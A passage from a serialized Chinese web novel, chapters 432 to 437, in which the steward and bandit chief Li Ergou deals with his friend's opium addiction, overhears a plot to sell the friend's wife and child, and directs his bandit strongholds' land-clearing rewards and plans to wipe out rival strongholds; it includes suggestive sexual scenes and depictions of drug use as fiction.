转而又觉得希望渺茫。 “兄弟,各县都向省政府要钱,省政府哪能都批啊?更何况还是这种莫须有的剿匪费用,省政府更是没有批准的道理。” “大哥,夏主席是自己人,他分得清亲疏远近。” 孙竹刚醍醐灌顶,没想到复杂的事情到了李二狗那里就变得如此简单。 第432章 饺子虽好,还是不如嫂子 “兄弟,来,大哥再敬你一杯!大哥可真是离不开你啊!” 离不开李二狗的不只有孙竹刚,还有严婆惜。 她笑嘻嘻地端着两盘饺子走了过来。 “饺子煮好了,二狗兄弟快趁热吃吧。” 孙竹刚喝得眼神迷离,眯着眼靠在椅背上,鼾声已经响了起来。 “大哥,吃点饺子吧?” 孙竹刚完全没有动静。 “别管他了,你快趁热吃吧。” 李二狗今晚喝了不少酒,欲望噌噌往上冲。 “嫂子,饺子虽好,还是不如嫂子,嘿嘿。” 严婆惜被挑逗的情难自抑,扭动着身子就坐到李二狗腿上。 “那你就一边吃饺子,一边玩……” 严婆惜终究没好意思说出那两个字,可李二狗已嘴里含着饺子抱起了严婆惜…… 第二天早上,孙竹刚醒来时,头痛欲裂。 他有个习惯,醉酒睡着后,哪怕天塌下来,他也听不见。 “二狗兄弟,二狗兄弟……” 他连喊两声都没人回应,便起身向严婆惜卧室走去。 他伸手推了推房门,竟没有推开。 “惜惜,惜惜……” 连喊了两声,里面竟没有动静。 孙竹刚从门缝里好像闻到一股淡淡的腥臭味,他太熟悉这股味道了。 “惜惜,惜惜,快开门!” 孙竹刚“砰砰”砸起了房门,就在他要抬脚把门踢开时,房门终于从里面打开了。 严婆惜穿着一个红肚兜,披头散发地走了出来,她不满地埋怨道:“大清早的你嚷嚷什么?人家都累死了,想睡个觉都不让睡安稳!” 孙竹刚一言不发,直接闪过身子进入了房间。 好在房间里并没有其他人,孙竹刚内心才松了一口气。 “我问你话呢?你哑巴了?”严婆惜不满地骂道。 “二狗兄弟呢?” “你找二狗兄弟跑到我卧室来找?姓孙的,你到底什么意思?” 孙竹刚急忙解释道:“看你说的这是什么话?我醒来没看到二狗兄弟,便问问你他去哪了,你都想哪里去了?” “他天还没亮就走了,说是胡家大院有重要的事耽误不得。” “没说别的什么?” “没有!我要睡个回笼觉,你自己做早饭吧。” 严婆惜说着便躺到床上,一把拉过被子蒙在头上,她一夜都没怎么睡,早已累散了架! 李二狗此时已骑马回到胡家大院,他也累坏了! “狗哥,你回来了。” 李二狗抬头一看,说话的人是念秋。 念秋自从嫁给张二驴之后,多了几分成熟的韵味,给李二狗一种邻家少妇的感觉。 看到念秋,他便想到了宋小曼,也不知道她现在还在不在人世? 想到此,李二狗便有些忧伤。 “狗哥,你怎么了?”看李二狗不仅没说话,表情反而有些忧伤,念秋便问道。 李二狗这才回过神来,有些掩饰地问道:“念秋,最近有三奶奶的消息吗?” 念秋一愣,这才反应过来,原来李二狗是在想宋小曼。 “没有,狗哥,哎,你说三奶奶到底去哪了?我真的好想她。” 李二狗差点脱口而出我也是。 “只要她能好好活着,在哪里都比在这里强。” 李二狗边说边往里走,念秋看着李二狗的背影,总感觉他和宋小曼之间有自己不知道的故事。 “二狗……” 在胡家大院,敢直呼李二狗大名的男人,只有一个人。 李二狗转头,果然看到是牛旺财。 两个多月没见,他整个人瘦了一大圈,眼眶深深地凹陷下去。 李二狗是个念旧情的人,虽然自己的身份已今非昔比,但对牛旺财,他一直把他当兄长看待。 “旺财,你怎么瘦成这样?” 牛旺财的眼泪顿时流了下来。 “二狗,家里出事了。” 李二狗一听出事,立马问道:“谁出事了?” 无论是春花还是牛犊子,李二狗都不希望他们出事。 “哎,是你春花嫂子。” “嫂子出什么事了?” “她前段时间生了一场大病,不仅花光了家里所有的钱,还欠了一大笔外债,哎……” 李二狗心里虽然很挂念春花,但她毕竟是牛旺财的老婆,自己也不好表现的太过担心。 “家里出了这么大的事你怎么不早点告诉我?” “我……我一直没见到你。” 李二狗这才想起自己离家两个月,这才刚回来没两天。 “跟我来。” 来到李二狗的院子,李二狗拿出一百块大洋。 “以后有什么事,要第一时间告诉我,”李二狗觉得自己的话有些过于热情,特意多解释了一句,“咱们是兄弟。” 牛旺财看到一百块大洋,两眼放光,人立马精神了许多。 他双手接过大洋,忙不迭地说道:“以后有事我一定告诉你,谢谢二狗兄弟了。” “牛……牛犊子怎么样?”李二狗忍不住问道。 “他很好,又长高了,”牛旺财的眼睛一直盯着手里的大洋,“二狗兄弟,我还有事,先走了。” “去忙吧。” 牛旺财走后,李二狗突然意识到有些不对劲。 自从牛旺财一家搬到镇上居住之后,李二狗每月偷偷给春花送五块大洋,这事牛旺财并不知晓。 虽然这两个月没来得及送,但春花生一场病不至于花光积蓄,还欠下一屁股债。 很显然,牛旺财在撒谎。 想到这,李二狗便来到大院值班室。 “二驴,你来一下,我问你点事。” 张二驴见李二狗特意把自己叫出去,很显然有重要的事情。 “狗哥,找我什么事?” 李二狗瞅了瞅周围,然后问道:“牛旺财最近有没有什么异常?” 牛旺财虽然只是胡家大院磨坊里一个普通的佣工,但张二驴知道他和李二狗的特殊关系,平时对牛旺财多有关照。 “狗哥,我正准备向你报告的。” “到底怎么了?” “牛旺财最近染上了大烟,我劝过他两次,他还骂我多管闲事,我……哎……” 牛旺财仗着和李二狗的关系,在胡家大院除了于兰芝,谁都不放在眼里,这也是李二狗不敢把他放到重要岗位上的原因。 第433章 血浓于水 “这个王八蛋!”李二狗痛骂道,“二驴,你去把牛旺财带到我院子来,老子有的是办法治他。” 李二狗曾使用还魂药丸、断烟药丸、除根药丸等三种药丸治好了李素文亲爹的大烟瘾,现在治好牛旺财的大烟瘾,并不是什么难事。 张二驴答应一声,亲自去了磨坊,李二狗则回到自己院子里。 他越想越气,没想到这个牛旺财竟这么不争气,他怎么能放心把牛犊子养在这样一个人身边。 这次一定要好好治治他。 不一会儿,张二驴便跑了进来。 “狗哥,牛旺财他……他不在磨坊,要不要我派两个人去外边找找?” 李二狗摆摆手,说道:“算了,二驴,你去忙你的吧,这件事我亲自去办。” 李二狗并不想把这件事情闹大,他和牛犊子的关系并不想让别人知晓,尤其是于兰芝。 他直接来到牛旺财家中。 春花见到李二狗进来,顿时愣在了原地,手里的陶瓷盆“哐当”一声,掉在地上,摔得粉碎。 “哇……” 正站在门口的牛犊子被吓得放声大哭。 春花赶紧抱起牛犊子,自己也跟着哭了起来。 “春花……嫂子。” 看到春花容颜憔悴的样子,李二狗心疼不已。 这才两年多的时间,春花已经从一个俊俏的美艳少妇变成了一个容貌衰老的老太婆。 虽说岁月是一把杀猪刀,但很显然,这把杀猪刀宰的她太狠了。 “牛犊子乖,是娘不好,吓着宝宝了。” 春花哄着牛犊子,正在大哭的牛犊子看到李二狗后,不仅停止了哭泣,竟咯咯地笑了起来。 春花和李二狗都惊呆了! 牛犊子在春花怀里向李二狗伸出自己的一双小手,想要他抱抱自己。 李二狗人生第一次意识到,血缘这东西,真他娘的神奇。 这就是血浓于水,打碎骨头连着筋! 李二狗抱过牛犊子,那眉眼,那嘴角,简直和自己一模一样,他忍不住在他小脸上亲了一口。 “牛犊子,叫叔叔。” 春花一句话把李二狗重新拉回现实,他差一点以为他们马上要父子相认了。 牛犊子只是咯咯直笑,不知道是不会叫,还是不愿意叫李二狗叔叔。 “二狗兄弟,别在院子站着了,去屋里坐吧。” 进到屋中,李二狗几乎不敢相信自己的眼睛。 屋内竟没有一件像样的家具,这和上次自己来的时候已经完全不是一个家。 “春花,”李二狗终于把“嫂子”二字吞进肚子里,“这到底是怎么回事?我要听实话。” 春花给李二狗倒了一碗水,未语泪先流。 “牛旺财他……他变了。” 以前,在李二狗面前,提起牛旺财,春花都是说你旺财哥,如今已变成牛旺财。 称谓的变化往往意味着心理的微妙变化。 “他是不是学会了抽大烟?” 春花眼含热泪,向李二狗诉说起牛旺财的种种败家行为。 原来一个多月以前,牛旺财结识了镇上一个妓院的妓女,在妓女的怂恿下,他学会了吸食大烟。 现在他终日无所事事地泡在妓院里抽大烟、睡女人,已经十几天没有回家了。 他不仅败光了家中所有的积蓄,还变卖了家中所有值钱的东西,就连李二狗私下给春花的钱也被他搜到并挥霍。 更令人气愤的是他竟然借了高利贷,丝毫不顾及春花和牛犊子日后的生活。 李二狗心里暗骂牛旺财十八辈祖宗。 自己之前只是带着他去了一趟省城,没想到见了世面之后,竟学会了逛窑子。 说到底,牛旺财如今变成这样,自己有一定的责任。 如果不是自己当初把他从夹皮沟村带出来,他也许现在还是一个老实巴交的农民,过着老婆孩子热炕头的日子。 李二狗从兜里掏出二十块大洋塞到春花手中。 春花推脱着不要。 李二狗佯装生气道:“拿着!给牛犊子买点好吃的,委屈了谁也不能委屈了孩子!” 春花只能含泪收下。 她手中攥着二十块大洋,哭得更凶了。 “二狗,我……我和牛犊子今后可怎么办啊?” “春花,你放心,有我李二狗一口吃的,绝不会让你和牛犊子受委屈。” “可……可牛旺财他……” “放心吧,我来收拾他。” “我听说抽大烟是很难戒掉的……” “就是剥掉他一层皮,我也一定让他把大烟戒了!” “二狗,你对我真好!” 李二狗脑海中突然闪现过那年冬天,自己躺在春花被窝里吃鸡蛋的场景。 在某种意义上来说,春花是李二狗的启蒙老师,她教会了他很多作为男人应该知道的事情。 往事历历在目却已物是人非。 李二狗早已不是当年的李二狗,春花也不再是当年的那个春花。 “春花,我现在去找牛旺财,晚上我再过来。” 李二狗的意思是晚上再过来告诉她情况,可春花却理解成别的意思。 她羞涩地说道:“家里太简陋了,牛犊子晚上还老黏人,要不然……咱们还是改天吧。” 春花的脸颊红的像一个红苹果,一如当年的那个样子。 李二狗这才意识到春花误会了自己的意思,但他也知道,如果自己这时候否认,很可能会伤害春花的自尊。 “那好吧,等我这边有了牛旺财的消息,我再来告诉你,我先走了,你照顾好自己和牛犊子。” 李二狗伸手捏了捏牛犊子的小脸,干巴巴的样子令人心疼。 离开春花家,李二狗直接去了镇上的一个妓院。 老鸨子见到李二狗进来,热情地像见到了亲爹一般。 “哎吆,嘻嘻,这是什么风把李大管家吹来了?我们小店可真是蓬荜生辉啊。” 说着就贴到李二狗身上,谄媚地挽着他的手臂。 一股浓重的脂粉味呛得李二狗咳嗽起来。 老鸨子见状,赶紧对身旁的一个小厮喊道:“你眼瞎啊,还不快去给李管家倒杯水来。” 李二狗咳嗽了几声,并不想多在这里停留。 见惯了阳春白雪,对这些庸脂俗粉,他早已没了兴趣。 第434章 人家都等不及了嘛 “老板,去把牛旺财给我找来!” 老鸨子先是一愣,继而装起了糊涂:“牛旺财?李管家,谁是牛旺财啊?” 在整个仙人洞镇,只有这么一家妓院,牛旺财想要嫖娼,没有第二个地方可去。 李二狗不想多说废话,知道老鸨子是不见兔子不撒鹰的主,便直接掏出三块大洋拍在桌子上。 老鸨子笑得脸上的囊褶子都熨平了。 “李管家您真是敞亮!不瞒您说,牛爷现在真不在我们这里。” 李二狗没想到牛旺财现在都成了牛爷,真是癞蛤蟆娶青蛙——长得丑玩的花。 “知道他在哪里吗?” “这……这我可就不知道了。” 李二狗看老鸨子的神情,就知道她肯定知道,之所以不说,还是想要捞好处。 李二狗最讨厌这种贪得无厌的女人。 他从腰间掏出一把手枪,“啪”的一声拍在桌子上。 “我再问你一遍,牛旺财现在哪里?” 老鸨子一向听说李二狗是一个出手阔绰之人,本想着借着这个机会多捞些钱,却没想到把他激怒了。 “李管家您息怒,”老鸨子夸张地抚摸着自己的胸口,“牛爷可能在……在小桃红家里。” “小桃红是谁?” “是我们这里一个姑娘,牛爷每次来都找她,今天他一来到我们店里,就掏出五十块大洋,硬是包了小桃红一个月,真豪横啊!” 老鸨子一脸的崇拜之情。 李二狗心里骂道:拿着老子的钱来装妓院土豪,狗日的牛旺财真是无药可救了! “你马上找个人带我去小桃红家。” 老鸨子看着桌上的手枪,连连应诺。 “虎子,你快带李管家去小桃红家。” 门口一个小厮是妓院的打手,早被李二狗的气势吓傻了。 “好好好……”他点头如捣蒜。 李二狗站起来,掏出三块大洋塞到老鸨子手里。 “谢谢了。” 老鸨子没想到李二狗此时会给她大洋,笑得大胸脯子乱颤,恨不得扑到李二狗身上。 “李管家,我给你找两个我们这最漂亮的姑娘,您先玩玩再走吧?” 李二狗冷“哼”一声,挥挥手,直接离开了妓院。 走了大约十几分钟,便来到一座四合院门前。 虎子说道:“李管家,这就是小桃红住的地方。” 李二狗看四合院的面积并不小,不像是妓女能买得起的地方,便故意问道:“这是她家吗?看着倒是挺气派。” 虎子嘿嘿一笑,说道:“这是牛爷送给小桃红的院子,牛爷真是个大气之人!为女人花钱绝不心疼!” 李二狗恨得牙根痒痒。 他掏出两块大洋,扔给虎子,说道:“你去吧。” 虎子接过大洋,根本不关心李二狗找牛旺财到底做什么。 “谢谢李管家,谢谢李管家。” 虎子走后,李二狗本想敲门,想了想,决定翻墙进入,他要看清牛旺财到底是一副什么嘴脸。 此时天色已经黯淡下来,李二狗从后墙进入院子,看到只有东面的一间屋子里亮着灯光,他便悄悄来到这间屋子的窗下。 “嗯嗯嗯……” 里面传来牛旺财三声轻微地喘息声之后便再也没有了动静。 “牛爷,您现在怎么越来越快了?”小桃红不满地抱怨道。 牛旺财嘿嘿一笑,说道:“别废话了,赶紧让爷抽上一袋,抽完后就有力气了。” 不知道什么原因,小桃红嘻嘻哈哈地笑了一阵,很快便传来牛旺财舒服的声音。 “真他娘的舒服啊,抽一口赛神仙啊。” “当初您还不愿意抽呢?我还能骗您不成?” “嘿嘿,还是你对我好啊。” “讨厌!又掐人家!” “就喜欢掐你这软乎乎的地方,嘿嘿。” “讨厌!牛爷,您到底什么时候娶我啊?人家都等不及了嘛。” 牛旺旺“吧嗒吧嗒”又抽了两口,安慰道:“你不要急嘛,再多给我一点时间。” “哼,您就会哄人家,您是胡家大院李管家的好兄弟,想给我赎身还不是易如反掌的事?我看您就是不愿意娶我,呜呜……” 小桃红竟哭了起来。 牛旺财赶紧哄道:“我的心肝小宝贝,我怎会不愿意娶你呢?只是……” “只是什么……” “只是我家里还有老婆儿子,我怕……” 牛旺财知道,如果自己抛妻弃子,李二狗肯定不会轻饶了自己。 “你怕什么?直接休了她不就行了!你是不是舍不得她啊?哼,你要是舍不得她,以后就别来找我!” 牛旺财哄道:“让我舍不得的只有你啊,我的小宝贝。休了她容易,可我不是还有一个儿子吗?儿子你会养啊?” “想要儿子还不容易?以后我给你多生几个就是了。” “可……” 牛旺财显得非常为难。 “我倒是有个主意,就是不知道你同不同意?” “什么主意?快说来听听。” “我看你老婆还有几分姿色,不如咱们就把她卖到妓院,还能挣点钱不是?” “那我儿子咋办?” 牛旺财竟没有拒绝把春花卖到妓院,这个畜生! “也卖了,现在一个小男孩能卖好几块大洋呢!” “这……” 牛旺财刚一犹豫,小桃红立刻哭了起来。 “我看你还是舍不得她们,那你快去找她们,不要赖在我这里,你走,你走……” “好好好,我都听你的还不行。” 牛旺财终归还是屈服了。 “我就知道您对我最好了,嘻嘻。” “不过这件事我们一定要做得神不知鬼不觉才行,最好把他们卖的远远的。” 牛旺财担心李二狗知道此事,一定不会放过自己。 “放心吧,这件事我来办,把她们卖到外县去,让她们神不知鬼不觉地彻底在江东县消失。” 牛旺财说道:“你办事我放心,嘿嘿,刚刚抽了一袋烟,我感觉现在浑身又有了力气,咱们再来一次吧,我的心肝小宝贝!你真是让我欲仙欲死啊!” “嘻嘻,你好讨厌!对人家轻一点嘛!” “嗯嗯嗯……” “哎!” 牛旺财三声过后,几乎同时传来他和小桃红的叹息声。 第435章 只出不进 “你到底是怎么回事嘛?哼!人家都难受死了!” 小桃红的情绪已经被牛旺财撩拨起来,可牛旺财却总是两三下就…… “也许是我这几日太累了,歇一段时间就好了。”牛旺财悻悻地说道。 牛旺财能等,可小桃红等不了。 此时她就像走在泰山十八盘上,那种云山雾罩的感觉实在是停不下来。 “你看这是什么?” 小桃红从床头的一个褐色小瓶子里倒出两粒黑色小药丸。 牛旺财接过药丸,放在鼻子下面嗅了嗅,有一股淡淡的金属味道。 “这是什么东西?” 小桃红神秘一笑,说道:“当然是好东西呀,你吃了之后保证立马生龙活虎。” “这么好的东西,我以前怎么没听说过?”牛旺财半信半疑地问道。 “你呀,比我们女人见识还短,这叫一夜七次丸,是我花了大价钱从省城让人捎回来的,可金贵了,你快吃了吧。” “这能行吗?怎么还得吃两粒?” 牛旺财总觉得小桃红的话有什么问题,但一时又不知哪里有问题。 “吃两粒效果当然会更好,你快点吃了吧。” 牛旺财看着手里的两粒药丸,仿佛幽幽地发着黑色的光,一直犹豫着不敢吃。 “你还犹豫什么?难道我还能害你不成?哼!” 牛旺财在小桃红的逼迫下,实在没有办法,只好放入口中,入口有一股淡淡的矿物腥味。 小桃红端过来一碗水,催促道:“快把这碗水全部喝了。” 牛旺财接过碗,“咕咚咕咚”地喝了下去。 不一会儿,他的大脑便感觉一种明显的昏沉感,内心开始变得燥热不已,仿佛置身于一个热炉中。 看到牛旺财身体出现了反应,小桃红便一把把他推倒在床上,然后俯下身,慢慢张开了嘴…… 牛旺财仿佛置身云端,身体忽上忽下,一会儿仿佛置身火炉,一会儿又像掉进了冰窟窿。 他很快便陷入到一种癫狂的状态,小桃红被他蹂躏的呼爹喊娘,那喊叫声仿佛要把屋顶掀翻。 李二狗蹲在窗下,听得口干舌燥,内心更是躁动不已。 有好几次他想冲进屋内,把牛旺财从床上揪下来胖揍一顿,最后还是忍住了。 李二狗不愿再听下去,起身离开院子,回到胡家大院。 他打算第二天等牛旺财回到胡家大院,再好好收拾他。 夜里,李二狗做了一个奇怪的梦。 他梦到春花掉进一条湍急的河里,她拼命向自己喊救命,可他却坐在岸边,逗弄着怀里的牛犊子无动于衷,眼睁睁地看着春花被湍急的河水冲走。 “爹爹,爹爹……” 怀里的牛犊子声音特别的甜,叫得李二狗心里一阵温暖。 “你为什么不救我娘?” 牛犊子突然从他怀里挣脱下来,站在地上,慢慢地长成了一个顶天立地的巨人。 “牛犊子,你听爹爹解释。” 李二狗慌乱地想要解释,牛犊子却已攥起比碾盘还要大的拳头,一拳捶在李二狗头上。 “啊……” 李二狗尖叫着从睡梦中醒来,一身的冷汗! 他从床上坐起来,想到刚才的噩梦依然心有余悸,他想不明白为何会做这样一个梦。 “喔喔喔……” “喔喔喔……” 窗外传来一阵公鸡打鸣的声音,李二狗再也没有睡意,便穿衣走了出去。 清晨的胡家大院里除了偶尔传来的公鸡打鸣声,一切尚在寂静之中。 有几个家丁站在院墙四周的角楼上来回走动,守护着这片安宁。 “狗哥,你怎么起得这么早?” 李二狗回头看到张二驴朝自己走了过来。 “昨晚睡得早,现在睡不着了,”李二狗看了看远处的家丁,“二驴,咱们院里现在还有多少家丁?” “目前大院的家丁有八人,另外还有民团的队员十五人。” 凤凰镇民团被兼并之后,便搬到了仙人洞镇,队部驻扎在胡家大院西北角的一个四合院里。 因为民团负责仙人洞镇和凤凰镇两个镇子的治安,日常费用主要由两个镇子里的地主和富商承担。 由于驻扎在胡家大院,近水楼台先得月,因此胡家大院承担的费用也是所有地主大院中最多的。 这既是责任,也是义务。 “二驴,今后胡家大院就不要再新进家丁了,使唤丫头和老婆子也是一样,只出不进。” 胡家大院目前遇到了困难,李二狗并不是没有办法帮助胡家大院渡过难关。 但胡家大院毕竟是胡家大院,不是李家大院,他现在有太多的事业需要去开拓,把精力用在胡家大院身上已经有些得不偿失。 而且胡家大院的困难只是暂时的,凭着名下两千多亩土地,于兰芝等人一样可以生活的衣食无忧,完全没有必要再发展壮大。 哪怕有一天,胡家大院彻底没落了,他也有能力保证于兰芝和梦瑶富足的生活。 如此看来,今天的胡家大院已经可有可无,显得有些多余。 但它毕竟还养活着上百号人,上百号人身后就是上百个家庭,李二狗不忍心让胡家大院彻底败落。 “狗哥,要不然咱们减少一些下人的工钱吧,我私下问过一些人,他们愿意降低一些工钱,毕竟咱们大院在江东所有的地主大院里,工钱都是最高的。” “先这样吧,大院要是哪天发不上工钱,你提前两天告诉我,我来想办法。” 张二驴没想到李二狗一个管家,如今已经可以左右胡家大院的生存,他真是自己学习的榜样! “狗哥,我知道了,我会想办法来压缩大院的日常开支。” “大奶奶和大小姐的生活质量一定不能下降,还有二奶奶的。” 李二狗已经决定等处理完江东这边的事情就带张玲玉去省城的医院做一个全面的检查,张玲玉只是受了刺激才变成如今的模样。 他相信如果治疗得当,一定可以恢复。 一日夫妻百日恩,两人虽没有夫妻之名,却有夫妻之实,李二狗不愿意看到张玲玉在精神错乱中度过余生。 “二驴,等吃过早饭,你把牛旺财带到我院里来,别忘了带一根缰绳过来。” 第436章 陈老三暴揍秀才 早饭后不久,张二驴拉着一张驴脸来到李二狗院子里。 他手里握着一根缰绳,身后却不见牛旺财。 “牛旺财呢?” 张二驴苦着脸说道:“他今天没来磨坊。” “二驴,你和我说实话,牛旺财是不是经常不在?” 张二驴无奈地点了点头,牛旺财仗着和李二狗的关系,张二驴真是拿他没办法。 “二驴,你给我记住了,在胡家大院,没有人可以搞特殊,今后如果再出现这种情况,你立马给我卷铺盖滚蛋。” 因为牛旺财的事,张二驴被李二狗骂了个狗血喷头,但他只能忍着。 “我知道了,狗哥,”张二驴心里恨极了牛旺财,“那接下来咱们怎么办?” 李二狗想了想,说道:“你马上带两个人去胭脂巷最东首的那座四合院,牛旺财应该在那里,把他给我绑到这里来!老子非要好好治治他的臭毛病。” “好,我马上带人去!” 张二驴转身离去,李二狗气得直骂娘希匹。 张二驴带人来到胭脂巷最东首的那座四合院,敲了半天门都没人回应。 一个家丁献媚道:“驴哥,要不然我翻墙进去看看?” 张二驴想了想,点了点头。 家丁翻墙进入,在里面找了一圈,没有发现一个人影。 他从里面打开院门,对张二驴说道:“驴哥,里面没人。” 张二驴不放心,亲自去各个房间看了一遍,果然没有人。 “你留在这里,一旦有人回来,立刻回大院报告。” 张二驴带人赶回胡家大院,把情况如实告诉了李二狗。 李二狗明明记得妓院的老鸨子说牛旺财包了小桃红一个月,怎么会家里没人呢? “那边留人了吗?” “留了,一旦有人回去,他立马回来报告。” “好,那你多加留意,一定要把牛旺财给我抓回来,在我回来之前,就把他绑在那间柴房里。” “放心吧,狗哥,我一定办好。” 安排好一切之后,李二狗骑马去了清风寨。 本来说好的要给秀才庆功的事,完全被他抛在脑后。 “狗哥,你咋才来?” 一见面,陈老三就拉住李二狗,显然是有话要说。 “这两天我去了趟县里,有事耽搁了,怎么了?山寨出事了?” “这倒没有,只是……” “只是什么?有话直说,别他娘的吞吞吐吐。” “前天晚上秀才来了,说你安排的要给他庆功,山寨杀羊宰牛准备了一下午,可一直到深夜你都没出现,秀才他……他说了一些抱怨你的话。” “他说了什么?” 李二狗很想听听秀才会背后怎么说自己。 “他说你独断专行、刚愎自用、不尊重兄弟,全然不顾兄弟们的感受,还说你……” 李二狗冷笑道:“还说我什么?” “还说你只许州官放火,不许百姓点灯。” “呵呵,老三,你觉得秀才说得对不对?” 陈老三毫不犹豫地说道:“他完全是在胡说八道,”陈老三看李二狗脸色并没有明显的变化,便继续说道,“秀才喝醉了酒,都是醉话,不能当真!” “老三,酒后吐真言,只有酒后说得话才是心里话。” 在陈老三心里,李二狗就是心中的神,是李二狗给了他一切,他绝对不能容忍别人说李二狗的坏话。 “狗哥,有件事我说出来,你可别骂我?”陈老三吞吞吐吐地说道。 李二狗看着陈老三像个做错了事的孩子,忍住笑问道:“骂不骂你得看你做得什么事,说吧,你做了什么错事?” “我把秀才打了一顿!他那样说你,你说我能不生气吗?” “你也喝醉了吧?” 陈老三急忙解释道:“我是喝了酒,但没喝醉!当时那种情况,不管我喝没喝酒,我都会揍他个狗日的,敢骂你,我岂能饶他!” 李二狗对陈老三的这种鲁莽行为非常满意。 当有人想挑战领导权威的时候,必须有人站出来为领导出头,要是领导亲自动手,反而显得领导没有胸襟。 他笑道:“老三,当时你要不是喝醉了酒,我可不好替你说话啊。” 陈老三先是一愣,随即明白了李二狗的意思,急忙说道:“对对对,狗哥,当时我确实喝多了,喝得脑子都断片了。” “你他娘的以后少喝酒,马上派人去把他们都叫来,一会我们开个寨务会。” 一个时辰后,清风寨议事厅内。 李二狗照例坐在中央,秀才左眼和右眼都青肿,低着头不敢和李二狗对视。 各个山寨报上来垦荒的数量已经贴在议事厅后面的墙上,红底黑字显得十分醒目。 和李二狗预料的一样,各个山寨报上来的总量虽有差异,但一计算人均,数量却出奇的一致。 很显然,三个山寨私底下都进行了交流。 谁都不想落后,但也不想因为多报而得罪其他兄弟山寨,干脆统一数据,这样你好我好大家都好。 李二狗心里默默计算了一下,每个月人均开垦荒地的数量是五分地左右。 在山上开荒首先需要砍伐树木,然后再清理杂草、树根,之后再清理地里大小不一的石头,遇到大块石头还需要爆破,之后再抬土回填,在山上开荒确实是一件非常耗费时间和体力的事情。 但人均每月只报五分地的指标,确实太少了。 李二狗精密计算过,正常情况下,每个人每月开垦荒地的数量应该在一亩到一亩半之间。 “望冬,以后每个月各山寨报上来的垦荒数量你一定要登记清楚,以后按照每亩地十五块大洋的标准进行奖励,各个山寨必须把这些奖励发到每名垦荒兄弟手里,不许截留!” 众人听后都惊呆了! 目前,江东县每亩土地的市场价只需要十块大洋,可开垦一亩荒地竟奖励十五块大洋,李二狗这是疯了吗? 其实李二狗并没有疯,山下购买的土地需要给政府缴纳各种赋税,可山上的这些土地收成全部是山寨自己的。 李二狗明白一个道理,作为山寨领导,用理想主义来鼓舞士气,一次两次可以,多了行不通,要想调动手下的人给你干,就必须为别人考虑到前途和收益。 第437章 男人怎么能说自己不行? “狗哥,你放心,我一定把各个山寨报上来的数据记得清清楚楚。” 望冬虽然也不太理解李二狗的做法,但她选择坚决执行。 “另外,望冬,每个月各个山寨报上来数据之后,你要亲自带人去现场核实情况,事先不要和他们打招呼,直奔现场,一旦发现弄虚作假、谎报数据的行为,取消涉事山寨当月全部奖励。连续发现两次,取消全年奖励,另外,山寨负责人还要在寨务会上做深刻检讨!” “我明白了,狗哥!” 望冬的喜悦之情溢于言表,李二狗的安排相当于给了她一把尚方宝剑,各个山寨的负责人都在她的监管之下。 李二狗向望冬投去一抹赞许的目光,然后环视一圈众人,微笑着问道:“大家还有什么意见吗?有的话不要藏着掖着,咱们寨务会就是一个让大家畅所欲言的地方!” 这是李二狗在寨务会上惯用的手段,对于一些重大决定,他会先把自己的决定当众说出来,然后再征求大家的意见。 一开始,像陈老三这种四肢发达、头脑简单的人还会提出自己的意见,后来慢慢发现,无论提还是不提,最后都得按照李二狗的决定来执行。 久而久之,就再也没有人提意见。 李二狗再次环视一圈众人,大家的态度在他意料之中。 “既然大家都没有意见,那就执行吧。你们回去之后告诉兄弟们,开垦的荒地越多,奖励的就越多,而且奖励不设上限。你要有本事,一个月能开垦出三亩荒地,那就奖励你四十五块大洋,全部奖励在下个月初八前发放到位。” 议事厅内鸦雀无声,众人缺乏李二狗的远见卓识,看不到李二狗这样做的深远用意,但没有一个人敢提反对意见。 “另外我再补充一点,山寨每开垦一亩荒地,你们作为山寨的经理,每人奖励五块大洋!” 众人听后,无不拍手称快,竟自发地鼓起掌来。 目前,李二狗治下共有三个山寨,三个山寨分别由陈老三、秀才、陈嘎子和张石头等人管理。 但是各个山寨没有独立的财权,一切收入要交公,各个山寨的所有日常开支用度都由设在清风寨的账房负责统一调度。 宋孬蛋去省城的军校深造之后,账房的负责人换成了望冬。 各个山寨每月月底提前到账房支取下个月的费用,等月底按照实际花费到账房报账。 陈老三、秀才这些人的职务是经理,他们按月领取粮饷,每人每月二十块大洋。 另外,年底按照贡献,在经寨务会研究,李二狗同意之后,还可以再领取一份年终奖金。 他们一个人的收入,除去不定时的奖励之外,每年在三百块大洋左右。 对于他们来说,开垦一亩荒地奖励五块大洋,如果一年开垦一百亩就是五百块大洋,二百亩就是一千块大洋,这种诱惑实在是太大了! “大家安静一下。” 李二狗一说话,大家立刻安静下来。 “除了开垦荒地之外,接下来我们还有两项十分重要的工作要开展。” 众人拿起笔,开始低头认真记录。 “我已经把咱们要整合江东县及周边地区土匪武装的设想向孙县长做了汇报,他非常支持咱们的这个设想。” 大家停下笔,纷纷鼓掌。 李二狗一挥手,大家立刻安静下来,再次拿起笔准埋头记录。 “这次整合的原则是歼灭一批,吞并一批,解散一批,把江东县及周边地区的土匪武装整合成一个土匪集团。” “整合之后,除了清风寨、霸虎寨、青山寨之外,剩下加盟的土匪山寨不能超过十个,尤其是在咱们江东县境内,决不允许还有其他土匪山寨存在。” “好,好,好……” 叫好声、鼓掌声响彻议事厅。 如果整合成功,以后在江东县他们就可以横着走。 “孙县长表示会全力配合咱们的行动,他已下达最后通牒,命令江东县所有的土匪山寨十日内必须关闭山寨、解散下山回家。” 众人不明白江东县政府下达这个最后通牒有什么意义,但还是认真记录下来。 “经孙县长协调,周边几个县政府也会下达一个类似的通牒。” 秀才最先领会了李二狗的讲话精神。 “狗哥,我们是不是得采取一些行动来配合孙县长?” 李二狗笑道:“不是我们配合孙县长,是孙县长配合我们,接下来我来分配任务。” 议事厅内只听见一阵“沙沙”的记录声。 “大家都清楚,其实县政府的通牒就是一张废纸,没有哪个山寨会当回事,所以,等县政府的通牒到期之后,我们要换上县保安团的军服去消灭几个作恶多端的中小山寨,你们每个山寨必须消灭五家,保安团的服装过几日会送过来。” “狗哥,我们每人要消灭五个山寨,这难度不小啊!” 陈老三实在忍不住了,便说出了心中疑虑。 “是啊,一般土匪山寨都建在地形险要处,要消灭这么多,确实难度不小!” “不是不小,是难度太大了,其实咱们也没有多少人马!” 众人的态度在李二狗的意料之中。 “大家先不要说不行,男人怎么能说自己不行?” 李二狗的话让大家在紧张的气氛中难得地笑了出来,只有望冬,一张俏脸羞得通红。 “狗哥,这次我是真得不行!” 陈老三仗着和李二狗的亲密关系,直接提出了反对意见。 “你要是真不行,我可以帮你,就是不知道望冬愿不愿意?” “哈哈哈……” 